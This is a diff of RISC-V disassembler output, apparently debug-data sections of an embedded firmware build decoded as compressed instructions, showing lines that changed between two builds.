+ 2e8:	0c62                	slli	s8,s8,0x18
+ 2ea:	401e                	0x401e
+ 2ec:	1020                	addi	s0,sp,40
+ 2ee:	401e                	0x401e
+ 2f0:	0420                	addi	s0,sp,520
+ 2f2:	f300                	fsw	fs0,32(a4)
+ 2f4:	5b01                	li	s6,-32
+ 2f6:	009f 0000 0000      	0x9f
+ 2fc:	0000                	unimp
+ 2fe:	ac00                	fsd	fs0,24(s0)
+ 300:	401d                	c.li	zero,7
+ 302:	0820                	addi	s0,sp,24
+ 304:	401e                	0x401e
+ 306:	0120                	addi	s0,sp,136
+ 308:	5800                	lw	s0,48(s0)
+ 30a:	1e08                	addi	a0,sp,816
+ 30c:	2040                	fld	fs0,128(s0)
+ 30e:	1e10                	addi	a2,sp,816
+ 310:	2040                	fld	fs0,128(s0)
+ 312:	0001                	nop
+ 314:	005a                	c.slli	zero,0x16
+ 316:	0000                	unimp
+ 318:	0000                	unimp
+ 31a:	0000                	unimp
+ 31c:	ac00                	fsd	fs0,24(s0)
+ 31e:	401d                	c.li	zero,7
+ 320:	da20                	sw	s0,112(a2)
+ 322:	401d                	c.li	zero,7
+ 324:	0220                	addi	s0,sp,264
+ 326:	3000                	fld	fs0,32(s0)
+ 328:	da9f 401d e420      	0xe420401dda9f
+ 32e:	401d                	c.li	zero,7
+ 330:	0120                	addi	s0,sp,136
+ 332:	5e00                	lw	s0,56(a2)
+ 334:	1de4                	addi	s1,sp,764
+ 336:	2040                	fld	fs0,128(s0)
+ 338:	1df2                	slli	s11,s11,0x3c
+ 33a:	2040                	fld	fs0,128(s0)
+ 33c:	017a0003          	lb	zero,23(s4) # ffffa017 <_heap_end+0x7ffeb817>
+ 340:	009f 0000 0000      	0x9f
+ 346:	0000                	unimp
+ 348:	4400                	lw	s0,8(s0)
+ 34a:	401d                	c.li	zero,7
+ 34c:	5520                	lw	s0,104(a0)
+ 34e:	401d                	c.li	zero,7
+ 350:	0120                	addi	s0,sp,136
+ 352:	5a00                	lw	s0,48(a2)
+ 354:	1d55                	addi	s10,s10,-11
+ 356:	2040                	fld	fs0,128(s0)
+ 358:	1d58                	addi	a4,sp,692
+ 35a:	2040                	fld	fs0,128(s0)
+ 35c:	0004                	0x4
+ 35e:	9f5a01f3          	0x9f5a01f3
+ 362:	1d58                	addi	a4,sp,692
+ 364:	2040                	fld	fs0,128(s0)
+ 366:	1d7c                	addi	a5,sp,700
+ 368:	2040                	fld	fs0,128(s0)
+ 36a:	0001                	nop
+ 36c:	7c58                	flw	fa4,60(s0)
+ 36e:	401d                	c.li	zero,7
+ 370:	8420                	0x8420
+ 372:	401d                	c.li	zero,7
+ 374:	0120                	addi	s0,sp,136
+ 376:	5a00                	lw	s0,48(a2)
 	...
-    1e54:	0002                	c.slli64	zero
-    1e56:	0000                	unimp
-    1e58:	0014                	0x14
-    1e5a:	0000                	unimp
-    1e5c:	0006                	c.slli	zero,0x1
-    1e5e:	935c                	0x935c
-    1e60:	5d04                	lw	s1,56(a0)
-    1e62:	00140493          	addi	s1,s0,1
-    1e66:	0000                	unimp
-    1e68:	0028                	addi	a0,sp,8
-    1e6a:	0000                	unimp
-    1e6c:	0006                	c.slli	zero,0x1
-    1e6e:	935c                	0x935c
-    1e70:	5f04                	lw	s1,56(a4)
-    1e72:	00b20493          	addi	s1,tp,11 # b <__stack_size-0x7f5>
-    1e76:	0000                	unimp
-    1e78:	00b8                	addi	a4,sp,72
-    1e7a:	0000                	unimp
-    1e7c:	0006                	c.slli	zero,0x1
-    1e7e:	935c                	0x935c
-    1e80:	5f04                	lw	s1,56(a4)
-    1e82:	00c00493          	li	s1,12
-    1e86:	0000                	unimp
-    1e88:	00d8                	addi	a4,sp,68
-    1e8a:	0000                	unimp
-    1e8c:	0006                	c.slli	zero,0x1
-    1e8e:	935c                	0x935c
-    1e90:	5f04                	lw	s1,56(a4)
-    1e92:	01500493          	li	s1,21
-    1e96:	0000                	unimp
-    1e98:	0156                	slli	sp,sp,0x15
-    1e9a:	0000                	unimp
-    1e9c:	0006                	c.slli	zero,0x1
-    1e9e:	935c                	0x935c
-    1ea0:	5f04                	lw	s1,56(a4)
-    1ea2:	01d20493          	addi	s1,tp,29 # 1d <__stack_size-0x7e3>
-    1ea6:	0000                	unimp
-    1ea8:	0236                	slli	tp,tp,0xd
-    1eaa:	0000                	unimp
-    1eac:	0006                	c.slli	zero,0x1
-    1eae:	935c                	0x935c
-    1eb0:	5d04                	lw	s1,56(a0)
-    1eb2:	00000493          	li	s1,0
-    1eb6:	0000                	unimp
-    1eb8:	0000                	unimp
-    1eba:	0000                	unimp
-    1ebc:	0002                	c.slli64	zero
-    1ebe:	0000                	unimp
-    1ec0:	0044                	addi	s1,sp,4
-    1ec2:	0000                	unimp
-    1ec4:	0006                	c.slli	zero,0x1
-    1ec6:	9356                	add	t1,t1,s5
-    1ec8:	5b04                	lw	s1,48(a4)
-    1eca:	00440493          	addi	s1,s0,4
-    1ece:	0000                	unimp
-    1ed0:	0050                	addi	a2,sp,4
-    1ed2:	0000                	unimp
-    1ed4:	0006                	c.slli	zero,0x1
-    1ed6:	9356                	add	t1,t1,s5
-    1ed8:	5e04                	lw	s1,56(a2)
-    1eda:	00b20493          	addi	s1,tp,11 # b <__stack_size-0x7f5>
-    1ede:	0000                	unimp
-    1ee0:	00f4                	addi	a3,sp,76
-    1ee2:	0000                	unimp
-    1ee4:	0006                	c.slli	zero,0x1
-    1ee6:	9356                	add	t1,t1,s5
-    1ee8:	5b04                	lw	s1,48(a4)
-    1eea:	01500493          	li	s1,21
-    1eee:	0000                	unimp
-    1ef0:	0172                	slli	sp,sp,0x1c
-    1ef2:	0000                	unimp
-    1ef4:	0006                	c.slli	zero,0x1
-    1ef6:	9356                	add	t1,t1,s5
-    1ef8:	5b04                	lw	s1,48(a4)
-    1efa:	01d20493          	addi	s1,tp,29 # 1d <__stack_size-0x7e3>
-    1efe:	0000                	unimp
-    1f00:	0214                	addi	a3,sp,256
-    1f02:	0000                	unimp
-    1f04:	0006                	c.slli	zero,0x1
-    1f06:	9356                	add	t1,t1,s5
-    1f08:	5b04                	lw	s1,48(a4)
-    1f0a:	02140493          	addi	s1,s0,33
-    1f0e:	0000                	unimp
-    1f10:	0218                	addi	a4,sp,256
-    1f12:	0000                	unimp
-    1f14:	0006                	c.slli	zero,0x1
-    1f16:	9356                	add	t1,t1,s5
-    1f18:	5e04                	lw	s1,56(a2)
-    1f1a:	02200493          	li	s1,34
-    1f1e:	0000                	unimp
-    1f20:	024e                	slli	tp,tp,0x13
-    1f22:	0000                	unimp
-    1f24:	0006                	c.slli	zero,0x1
-    1f26:	9356                	add	t1,t1,s5
-    1f28:	5b04                	lw	s1,48(a4)
-    1f2a:	00000493          	li	s1,0
-    1f2e:	0000                	unimp
-    1f30:	0000                	unimp
-    1f32:	0000                	unimp
-    1f34:	0004                	0x4
-    1f36:	0000                	unimp
-    1f38:	004c                	addi	a1,sp,4
-    1f3a:	0000                	unimp
-    1f3c:	0001                	nop
-    1f3e:	4c5c                	lw	a5,28(s0)
-    1f40:	0000                	unimp
-    1f42:	b000                	fsd	fs0,32(s0)
-    1f44:	0000                	unimp
-    1f46:	0100                	addi	s0,sp,128
-    1f48:	6000                	flw	fs0,0(s0)
-    1f4a:	00b2                	slli	ra,ra,0xc
-    1f4c:	0000                	unimp
-    1f4e:	00c8                	addi	a0,sp,68
-    1f50:	0000                	unimp
-    1f52:	0001                	nop
-    1f54:	c85c                	sw	a5,20(s0)
-    1f56:	0000                	unimp
-    1f58:	d200                	sw	s0,32(a2)
-    1f5a:	0001                	nop
-    1f5c:	0100                	addi	s0,sp,128
-    1f5e:	6000                	flw	fs0,0(s0)
-    1f60:	01d2                	slli	gp,gp,0x14
-    1f62:	0000                	unimp
-    1f64:	0246                	slli	tp,tp,0x11
-    1f66:	0000                	unimp
-    1f68:	0001                	nop
-    1f6a:	465c                	lw	a5,12(a2)
-    1f6c:	0002                	c.slli64	zero
-    1f6e:	4000                	lw	s0,0(s0)
-    1f70:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    1f74:	6d00                	flw	fs0,24(a0)
+ 380:	1d44                	addi	s1,sp,692
+ 382:	2040                	fld	fs0,128(s0)
+ 384:	1d55                	addi	s10,s10,-11
+ 386:	2040                	fld	fs0,128(s0)
+ 388:	0001                	nop
+ 38a:	401d555b          	0x401d555b
+ 38e:	8020                	0x8020
+ 390:	401d                	c.li	zero,7
+ 392:	0120                	addi	s0,sp,136
+ 394:	6200                	flw	fs0,0(a2)
+ 396:	1d80                	addi	s0,sp,752
+ 398:	2040                	fld	fs0,128(s0)
+ 39a:	1d84                	addi	s1,sp,752
+ 39c:	2040                	fld	fs0,128(s0)
+ 39e:	0004                	0x4
+ 3a0:	9f5b01f3          	0x9f5b01f3
 	...
-    1f7e:	0006                	c.slli	zero,0x1
-    1f80:	0000                	unimp
-    1f82:	0014                	0x14
-    1f84:	0000                	unimp
-    1f86:	0001                	nop
-    1f88:	145d                	addi	s0,s0,-9
-    1f8a:	0000                	unimp
-    1f8c:	2800                	fld	fs0,16(s0)
-    1f8e:	0000                	unimp
-    1f90:	0100                	addi	s0,sp,128
-    1f92:	5f00                	lw	s0,56(a4)
-    1f94:	00b2                	slli	ra,ra,0xc
-    1f96:	0000                	unimp
-    1f98:	00b8                	addi	a4,sp,72
-    1f9a:	0000                	unimp
-    1f9c:	0001                	nop
-    1f9e:	c05f 0000 d800      	0xd8000000c05f
-    1fa4:	0000                	unimp
-    1fa6:	0100                	addi	s0,sp,128
-    1fa8:	5f00                	lw	s0,56(a4)
-    1faa:	0150                	addi	a2,sp,132
-    1fac:	0000                	unimp
-    1fae:	0156                	slli	sp,sp,0x15
-    1fb0:	0000                	unimp
-    1fb2:	0001                	nop
-    1fb4:	d25f 0001 3600      	0x36000001d25f
-    1fba:	0002                	c.slli64	zero
-    1fbc:	0100                	addi	s0,sp,128
-    1fbe:	5d00                	lw	s0,56(a0)
-    1fc0:	023a                	slli	tp,tp,0xe
-    1fc2:	0000                	unimp
-    1fc4:	0340                	addi	s0,sp,388
-    1fc6:	0000                	unimp
-    1fc8:	0001                	nop
-    1fca:	006c                	addi	a1,sp,12
-    1fcc:	0000                	unimp
-    1fce:	0000                	unimp
-    1fd0:	0000                	unimp
-    1fd2:	0600                	addi	s0,sp,768
-    1fd4:	0000                	unimp
-    1fd6:	5400                	lw	s0,40(s0)
-    1fd8:	0000                	unimp
-    1fda:	0100                	addi	s0,sp,128
-    1fdc:	5600                	lw	s0,40(a2)
-    1fde:	0054                	addi	a3,sp,4
-    1fe0:	0000                	unimp
-    1fe2:	008a                	slli	ra,ra,0x2
-    1fe4:	0000                	unimp
-    1fe6:	0001                	nop
-    1fe8:	aa5a                	fsd	fs6,272(sp)
-    1fea:	0000                	unimp
-    1fec:	ae00                	fsd	fs0,24(a2)
-    1fee:	0000                	unimp
-    1ff0:	0100                	addi	s0,sp,128
-    1ff2:	5a00                	lw	s0,48(a2)
-    1ff4:	00b2                	slli	ra,ra,0xc
-    1ff6:	0000                	unimp
-    1ff8:	00f4                	addi	a3,sp,76
-    1ffa:	0000                	unimp
-    1ffc:	0001                	nop
-    1ffe:	f456                	fsw	fs5,40(sp)
-    2000:	0000                	unimp
-    2002:	2c00                	fld	fs0,24(s0)
-    2004:	0001                	nop
-    2006:	0100                	addi	s0,sp,128
-    2008:	5a00                	lw	s0,48(a2)
-    200a:	014e                	slli	sp,sp,0x13
-    200c:	0000                	unimp
-    200e:	0150                	addi	a2,sp,132
-    2010:	0000                	unimp
-    2012:	0001                	nop
-    2014:	505a                	0x505a
-    2016:	0001                	nop
-    2018:	8200                	0x8200
-    201a:	0001                	nop
-    201c:	0100                	addi	s0,sp,128
-    201e:	5600                	lw	s0,40(a2)
-    2020:	0182                	c.slli64	gp
-    2022:	0000                	unimp
-    2024:	01d2                	slli	gp,gp,0x14
-    2026:	0000                	unimp
-    2028:	0001                	nop
-    202a:	d25a                	sw	s6,36(sp)
-    202c:	0001                	nop
-    202e:	1c00                	addi	s0,sp,560
-    2030:	0002                	c.slli64	zero
-    2032:	0100                	addi	s0,sp,128
-    2034:	5600                	lw	s0,40(a2)
-    2036:	021c                	addi	a5,sp,256
-    2038:	0000                	unimp
-    203a:	0220                	addi	s0,sp,264
-    203c:	0000                	unimp
-    203e:	0001                	nop
-    2040:	205a                	fld	ft0,400(sp)
-    2042:	0002                	c.slli64	zero
-    2044:	5e00                	lw	s0,56(a2)
-    2046:	0002                	c.slli64	zero
-    2048:	0100                	addi	s0,sp,128
-    204a:	5600                	lw	s0,40(a2)
-    204c:	025e                	slli	tp,tp,0x17
-    204e:	0000                	unimp
-    2050:	032a                	slli	t1,t1,0xa
-    2052:	0000                	unimp
-    2054:	0001                	nop
-    2056:	2e5a                	fld	ft8,400(sp)
-    2058:	40000003          	lb	zero,1024(zero) # 400 <__stack_size-0x400>
-    205c:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    2060:	5f00                	lw	s0,56(a4)
+ 3ac:	1d44                	addi	s1,sp,692
+ 3ae:	2040                	fld	fs0,128(s0)
+ 3b0:	1d55                	addi	s10,s10,-11
+ 3b2:	2040                	fld	fs0,128(s0)
+ 3b4:	0001                	nop
+ 3b6:	555c                	lw	a5,44(a0)
+ 3b8:	401d                	c.li	zero,7
+ 3ba:	8420                	0x8420
+ 3bc:	401d                	c.li	zero,7
+ 3be:	0420                	addi	s0,sp,520
+ 3c0:	f300                	fsw	fs0,32(a4)
+ 3c2:	5c01                	li	s8,-32
+ 3c4:	009f 0000 0000      	0x9f
+ 3ca:	0000                	unimp
+ 3cc:	4400                	lw	s0,8(s0)
+ 3ce:	401d                	c.li	zero,7
+ 3d0:	5520                	lw	s0,104(a0)
+ 3d2:	401d                	c.li	zero,7
+ 3d4:	0120                	addi	s0,sp,136
+ 3d6:	5d00                	lw	s0,56(a0)
+ 3d8:	1d55                	addi	s10,s10,-11
+ 3da:	2040                	fld	fs0,128(s0)
+ 3dc:	1d84                	addi	s1,sp,752
+ 3de:	2040                	fld	fs0,128(s0)
+ 3e0:	0004                	0x4
+ 3e2:	9f5d01f3          	0x9f5d01f3
 	...
-    206a:	0008                	0x8
-    206c:	0000                	unimp
-    206e:	0044                	addi	s1,sp,4
-    2070:	0000                	unimp
-    2072:	0001                	nop
-    2074:	0000445b          	0x445b
-    2078:	6a00                	flw	fs0,16(a2)
-    207a:	0000                	unimp
-    207c:	0100                	addi	s0,sp,128
-    207e:	5e00                	lw	s0,56(a2)
-    2080:	00b2                	slli	ra,ra,0xc
-    2082:	0000                	unimp
-    2084:	010a                	slli	sp,sp,0x2
-    2086:	0000                	unimp
-    2088:	0001                	nop
-    208a:	0001505b          	0x1505b
-    208e:	7200                	flw	fs0,32(a2)
-    2090:	0001                	nop
-    2092:	0100                	addi	s0,sp,128
-    2094:	5b00                	lw	s0,48(a4)
-    2096:	0178                	addi	a4,sp,140
-    2098:	0000                	unimp
-    209a:	01ae                	slli	gp,gp,0xb
-    209c:	0000                	unimp
-    209e:	0001                	nop
-    20a0:	d05c                	sw	a5,36(s0)
-    20a2:	0001                	nop
-    20a4:	1400                	addi	s0,sp,544
-    20a6:	0002                	c.slli64	zero
-    20a8:	0100                	addi	s0,sp,128
-    20aa:	5b00                	lw	s0,48(a4)
-    20ac:	0214                	addi	a3,sp,256
-    20ae:	0000                	unimp
-    20b0:	0218                	addi	a4,sp,256
-    20b2:	0000                	unimp
-    20b4:	0001                	nop
-    20b6:	1c5e                	slli	s8,s8,0x37
-    20b8:	0002                	c.slli64	zero
-    20ba:	2000                	fld	fs0,0(s0)
-    20bc:	0002                	c.slli64	zero
-    20be:	0100                	addi	s0,sp,128
-    20c0:	5e00                	lw	s0,56(a2)
-    20c2:	0220                	addi	s0,sp,264
-    20c4:	0000                	unimp
-    20c6:	024e                	slli	tp,tp,0x13
-    20c8:	0000                	unimp
-    20ca:	0001                	nop
-    20cc:	0002545b          	0x2545b
-    20d0:	a600                	fsd	fs0,8(a2)
-    20d2:	0002                	c.slli64	zero
-    20d4:	0100                	addi	s0,sp,128
-    20d6:	5f00                	lw	s0,56(a4)
-    20d8:	02ce                	slli	t0,t0,0x13
-    20da:	0000                	unimp
-    20dc:	032c                	addi	a1,sp,392
-    20de:	0000                	unimp
-    20e0:	0001                	nop
-    20e2:	00032e5b          	0x32e5b
-    20e6:	3e00                	fld	fs0,56(a2)
-    20e8:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    20ec:	5b00                	lw	s0,48(a4)
+ 3ee:	1d2a                	slli	s10,s10,0x2a
+ 3f0:	2040                	fld	fs0,128(s0)
+ 3f2:	1d32                	slli	s10,s10,0x2c
+ 3f4:	2040                	fld	fs0,128(s0)
+ 3f6:	0001                	nop
+ 3f8:	325a                	fld	ft4,432(sp)
+ 3fa:	401d                	c.li	zero,7
+ 3fc:	3c20                	fld	fs0,120(s0)
+ 3fe:	401d                	c.li	zero,7
+ 400:	0120                	addi	s0,sp,136
+ 402:	5800                	lw	s0,48(s0)
+ 404:	1d3c                	addi	a5,sp,696
+ 406:	2040                	fld	fs0,128(s0)
+ 408:	20401d43          	fmadd.s	fs10,ft0,ft4,ft4,rtz
+ 40c:	0001                	nop
+ 40e:	435a                	lw	t1,148(sp)
+ 410:	401d                	c.li	zero,7
+ 412:	4420                	lw	s0,72(s0)
+ 414:	401d                	c.li	zero,7
+ 416:	0420                	addi	s0,sp,520
+ 418:	f300                	fsw	fs0,32(a4)
+ 41a:	5a01                	li	s4,-32
+ 41c:	009f 0000 0000      	0x9f
+ 422:	0000                	unimp
+ 424:	4600                	lw	s0,8(a2)
+ 426:	4020                	lw	s0,64(s0)
+ 428:	5a20                	lw	s0,112(a2)
+ 42a:	4020                	lw	s0,64(s0)
+ 42c:	0120                	addi	s0,sp,136
+ 42e:	5a00                	lw	s0,48(a2)
+ 430:	205a                	fld	ft0,400(sp)
+ 432:	2040                	fld	fs0,128(s0)
+ 434:	216e                	fld	ft2,216(sp)
+ 436:	2040                	fld	fs0,128(s0)
+ 438:	0001                	nop
+ 43a:	6e59                	lui	t3,0x16
+ 43c:	4021                	c.li	zero,8
+ 43e:	7220                	flw	fs0,96(a2)
+ 440:	4021                	c.li	zero,8
+ 442:	0120                	addi	s0,sp,136
+ 444:	5a00                	lw	s0,48(a2)
+ 446:	2172                	fld	ft2,280(sp)
+ 448:	2040                	fld	fs0,128(s0)
+ 44a:	2298                	fld	fa4,0(a3)
+ 44c:	2040                	fld	fs0,128(s0)
+ 44e:	0001                	nop
+ 450:	0059                	c.nop	22
+ 452:	0000                	unimp
+ 454:	0000                	unimp
+ 456:	0000                	unimp
+ 458:	4600                	lw	s0,8(a2)
+ 45a:	4020                	lw	s0,64(s0)
+ 45c:	7120                	flw	fs0,96(a0)
+ 45e:	4020                	lw	s0,64(s0)
+ 460:	0120                	addi	s0,sp,136
+ 462:	5b00                	lw	s0,48(a4)
+ 464:	2071                	jal	4f0 <__stack_size-0x310>
+ 466:	2040                	fld	fs0,128(s0)
+ 468:	2298                	fld	fa4,0(a3)
+ 46a:	2040                	fld	fs0,128(s0)
+ 46c:	0004                	0x4
+ 46e:	9f5b01f3          	0x9f5b01f3
 	...
-    20f6:	0166                	slli	sp,sp,0x19
-    20f8:	0000                	unimp
-    20fa:	018a                	slli	gp,gp,0x2
-    20fc:	0000                	unimp
-    20fe:	0001                	nop
-    2100:	465d                	li	a2,23
-    2102:	0002                	c.slli64	zero
-    2104:	6600                	flw	fs0,8(a2)
-    2106:	0002                	c.slli64	zero
-    2108:	0100                	addi	s0,sp,128
-    210a:	5e00                	lw	s0,56(a2)
+ 47a:	2046                	fld	ft0,80(sp)
+ 47c:	2040                	fld	fs0,128(s0)
+ 47e:	2071                	jal	50a <__stack_size-0x2f6>
+ 480:	2040                	fld	fs0,128(s0)
+ 482:	0001                	nop
+ 484:	715c                	flw	fa5,36(a0)
+ 486:	4020                	lw	s0,64(s0)
+ 488:	2a20                	fld	fs0,80(a2)
+ 48a:	4021                	c.li	zero,8
+ 48c:	0120                	addi	s0,sp,136
+ 48e:	6600                	flw	fs0,8(a2)
+ 490:	212a                	fld	ft2,136(sp)
+ 492:	2040                	fld	fs0,128(s0)
+ 494:	2172                	fld	ft2,280(sp)
+ 496:	2040                	fld	fs0,128(s0)
+ 498:	0004                	0x4
+ 49a:	9f5c01f3          	0x9f5c01f3
+ 49e:	2172                	fld	ft2,280(sp)
+ 4a0:	2040                	fld	fs0,128(s0)
+ 4a2:	2220                	fld	fs0,64(a2)
+ 4a4:	2040                	fld	fs0,128(s0)
+ 4a6:	0001                	nop
+ 4a8:	2066                	fld	ft0,88(sp)
+ 4aa:	4022                	0x4022
+ 4ac:	9820                	0x9820
+ 4ae:	4022                	0x4022
+ 4b0:	0420                	addi	s0,sp,520
+ 4b2:	f300                	fsw	fs0,32(a4)
+ 4b4:	5c01                	li	s8,-32
+ 4b6:	009f 0000 0000      	0x9f
+ 4bc:	0000                	unimp
+ 4be:	9800                	0x9800
+ 4c0:	4020                	lw	s0,64(s0)
+ 4c2:	1c20                	addi	s0,sp,568
+ 4c4:	4021                	c.li	zero,8
+ 4c6:	0120                	addi	s0,sp,136
+ 4c8:	5800                	lw	s0,48(s0)
+ 4ca:	2180                	fld	fs0,0(a1)
+ 4cc:	2040                	fld	fs0,128(s0)
+ 4ce:	2220                	fld	fs0,64(a2)
+ 4d0:	2040                	fld	fs0,128(s0)
+ 4d2:	0001                	nop
+ 4d4:	0058                	addi	a4,sp,4
+ 4d6:	0000                	unimp
+ 4d8:	0000                	unimp
+ 4da:	0000                	unimp
+ 4dc:	5200                	lw	s0,32(a2)
+ 4de:	4020                	lw	s0,64(s0)
+ 4e0:	1c20                	addi	s0,sp,568
+ 4e2:	4021                	c.li	zero,8
+ 4e4:	0120                	addi	s0,sp,136
+ 4e6:	6400                	flw	fs0,8(s0)
+ 4e8:	2172                	fld	ft2,280(sp)
+ 4ea:	2040                	fld	fs0,128(s0)
+ 4ec:	21a0                	fld	fs0,64(a1)
+ 4ee:	2040                	fld	fs0,128(s0)
+ 4f0:	0001                	nop
+ 4f2:	0064                	addi	s1,sp,12
+ 4f4:	0000                	unimp
+ 4f6:	0000                	unimp
+ 4f8:	0000                	unimp
+ 4fa:	8200                	0x8200
+ 4fc:	4020                	lw	s0,64(s0)
+ 4fe:	5c20                	lw	s0,120(s0)
+ 500:	4021                	c.li	zero,8
+ 502:	0120                	addi	s0,sp,136
+ 504:	6200                	flw	fs0,0(a2)
+ 506:	2172                	fld	ft2,280(sp)
+ 508:	2040                	fld	fs0,128(s0)
+ 50a:	2298                	fld	fa4,0(a3)
+ 50c:	2040                	fld	fs0,128(s0)
+ 50e:	0001                	nop
+ 510:	0062                	c.slli	zero,0x18
+ 512:	0000                	unimp
+ 514:	0000                	unimp
+ 516:	0000                	unimp
+ 518:	2400                	fld	fs0,8(s0)
+ 51a:	4021                	c.li	zero,8
+ 51c:	4220                	lw	s0,64(a2)
+ 51e:	4021                	c.li	zero,8
+ 520:	0220                	addi	s0,sp,264
+ 522:	3000                	fld	fs0,32(s0)
+ 524:	429f 4021 5e20      	0x5e204021429f
+ 52a:	4021                	c.li	zero,8
+ 52c:	0120                	addi	s0,sp,136
+ 52e:	6300                	flw	fs0,0(a4)
+ 530:	2220                	fld	fs0,64(a2)
+ 532:	2040                	fld	fs0,128(s0)
+ 534:	2254                	fld	fa3,128(a2)
+ 536:	2040                	fld	fs0,128(s0)
+ 538:	0001                	nop
+ 53a:	40225a63          	bge	tp,sp,94e <__stack_size+0x14e>
+ 53e:	9820                	0x9820
+ 540:	4022                	0x4022
+ 542:	0120                	addi	s0,sp,136
+ 544:	6300                	flw	fs0,0(a4)
 	...
-    2114:	020e                	slli	tp,tp,0x3
-    2116:	0000                	unimp
-    2118:	021c                	addi	a5,sp,256
-    211a:	0000                	unimp
-    211c:	0002                	c.slli64	zero
-    211e:	9f31                	0x9f31
+ 54e:	2188                	fld	fa0,0(a1)
+ 550:	2040                	fld	fs0,128(s0)
+ 552:	2190                	fld	fa2,0(a1)
+ 554:	2040                	fld	fs0,128(s0)
+ 556:	0001                	nop
+ 558:	905a                	c.add	zero,s6
+ 55a:	4021                	c.li	zero,8
+ 55c:	2020                	fld	fs0,64(s0)
+ 55e:	4022                	0x4022
+ 560:	0120                	addi	s0,sp,136
+ 562:	6300                	flw	fs0,0(a4)
 	...
-    2128:	021c                	addi	a5,sp,256
-    212a:	0000                	unimp
-    212c:	0220                	addi	s0,sp,264
-    212e:	0000                	unimp
-    2130:	0002                	c.slli64	zero
-    2132:	9f30                	0x9f30
-    2134:	0322                	slli	t1,t1,0x8
-    2136:	0000                	unimp
-    2138:	0340                	addi	s0,sp,388
-    213a:	0000                	unimp
-    213c:	0002                	c.slli64	zero
-    213e:	9f30                	0x9f30
+ 56c:	21ac                	fld	fa1,64(a1)
+ 56e:	2040                	fld	fs0,128(s0)
+ 570:	204021b3          	0x204021b3
+ 574:	0001                	nop
+ 576:	b35a                	fsd	fs6,416(sp)
+ 578:	4021                	c.li	zero,8
+ 57a:	2020                	fld	fs0,64(s0)
+ 57c:	4022                	0x4022
+ 57e:	0120                	addi	s0,sp,136
+ 580:	6400                	flw	fs0,8(s0)
 	...
-    2148:	015e                	slli	sp,sp,0x17
-    214a:	0000                	unimp
-    214c:	0176                	slli	sp,sp,0x1d
-    214e:	0000                	unimp
-    2150:	0001                	nop
-    2152:	2e5c                	fld	fa5,152(a2)
-    2154:	0002                	c.slli64	zero
-    2156:	3200                	fld	fs0,32(a2)
-    2158:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    215c:	6100                	flw	fs0,0(a0)
+ 58a:	21dc                	fld	fa5,128(a1)
+ 58c:	2040                	fld	fs0,128(s0)
+ 58e:	21e6                	fld	ft3,88(sp)
+ 590:	2040                	fld	fs0,128(s0)
+ 592:	0001                	nop
+ 594:	005a                	c.slli	zero,0x16
+ 596:	0000                	unimp
+ 598:	0000                	unimp
+ 59a:	0000                	unimp
+ 59c:	dc00                	sw	s0,56(s0)
+ 59e:	4021                	c.li	zero,8
+ 5a0:	e620                	fsw	fs0,72(a2)
+ 5a2:	4021                	c.li	zero,8
+ 5a4:	0220                	addi	s0,sp,264
+ 5a6:	3000                	fld	fs0,32(s0)
+ 5a8:	e69f 4021 1920      	0x19204021e69f
+ 5ae:	4022                	0x4022
+ 5b0:	0120                	addi	s0,sp,136
+ 5b2:	6000                	flw	fs0,0(s0)
 	...
-    2166:	003c                	addi	a5,sp,8
-    2168:	0000                	unimp
-    216a:	00b0                	addi	a2,sp,72
-    216c:	0000                	unimp
-    216e:	0001                	nop
-    2170:	ec61                	bnez	s0,2248 <__stack_size+0x1a48>
-    2172:	0000                	unimp
-    2174:	5000                	lw	s0,32(s0)
-    2176:	0001                	nop
-    2178:	0100                	addi	s0,sp,128
-    217a:	6100                	flw	fs0,0(a0)
-    217c:	015e                	slli	sp,sp,0x17
-    217e:	0000                	unimp
-    2180:	01d2                	slli	gp,gp,0x14
-    2182:	0000                	unimp
-    2184:	0001                	nop
-    2186:	0261                	addi	tp,tp,24
-    2188:	0002                	c.slli64	zero
-    218a:	2000                	fld	fs0,0(s0)
-    218c:	0002                	c.slli64	zero
-    218e:	0100                	addi	s0,sp,128
-    2190:	6000                	flw	fs0,0(s0)
-    2192:	022e                	slli	tp,tp,0xb
-    2194:	0000                	unimp
-    2196:	0340                	addi	s0,sp,388
-    2198:	0000                	unimp
-    219a:	0001                	nop
-    219c:	0060                	addi	s0,sp,12
-    219e:	0000                	unimp
-    21a0:	0000                	unimp
-    21a2:	0000                	unimp
-    21a4:	1800                	addi	s0,sp,48
-    21a6:	0000                	unimp
-    21a8:	6000                	flw	fs0,0(s0)
-    21aa:	0000                	unimp
-    21ac:	0100                	addi	s0,sp,128
-    21ae:	5c00                	lw	s0,56(s0)
-    21b0:	00b2                	slli	ra,ra,0xc
-    21b2:	0000                	unimp
-    21b4:	00c0                	addi	s0,sp,68
-    21b6:	0000                	unimp
-    21b8:	0001                	nop
-    21ba:	005c                	addi	a5,sp,4
-    21bc:	0000                	unimp
-    21be:	0000                	unimp
-    21c0:	0000                	unimp
-    21c2:	2800                	fld	fs0,16(s0)
-    21c4:	0000                	unimp
-    21c6:	3400                	fld	fs0,40(s0)
-    21c8:	0000                	unimp
-    21ca:	0100                	addi	s0,sp,128
-    21cc:	5f00                	lw	s0,56(a4)
+ 5bc:	2228                	fld	fa0,64(a2)
+ 5be:	2040                	fld	fs0,128(s0)
+ 5c0:	2238                	fld	fa4,64(a2)
+ 5c2:	2040                	fld	fs0,128(s0)
+ 5c4:	0002                	c.slli64	zero
+ 5c6:	9f40                	0x9f40
+ 5c8:	2238                	fld	fa4,64(a2)
+ 5ca:	2040                	fld	fs0,128(s0)
+ 5cc:	2040223f 005c0001 	0x5c00012040223f
 	...
-    21d6:	0058                	addi	a4,sp,4
-    21d8:	0000                	unimp
-    21da:	00aa                	slli	ra,ra,0xa
-    21dc:	0000                	unimp
-    21de:	0001                	nop
-    21e0:	0000005b          	0x5b
-    21e4:	0000                	unimp
-    21e6:	0000                	unimp
-    21e8:	6200                	flw	fs0,0(a2)
-    21ea:	0000                	unimp
-    21ec:	aa00                	fsd	fs0,16(a2)
-    21ee:	0000                	unimp
-    21f0:	0100                	addi	s0,sp,128
-    21f2:	5c00                	lw	s0,56(s0)
+ 5e0:	0000                	unimp
+ 5e2:	0100                	addi	s0,sp,128
+ 5e4:	5a00                	lw	s0,48(a2)
 	...
-    21fc:	0090                	addi	a2,sp,64
-    21fe:	0000                	unimp
-    2200:	0098                	addi	a4,sp,64
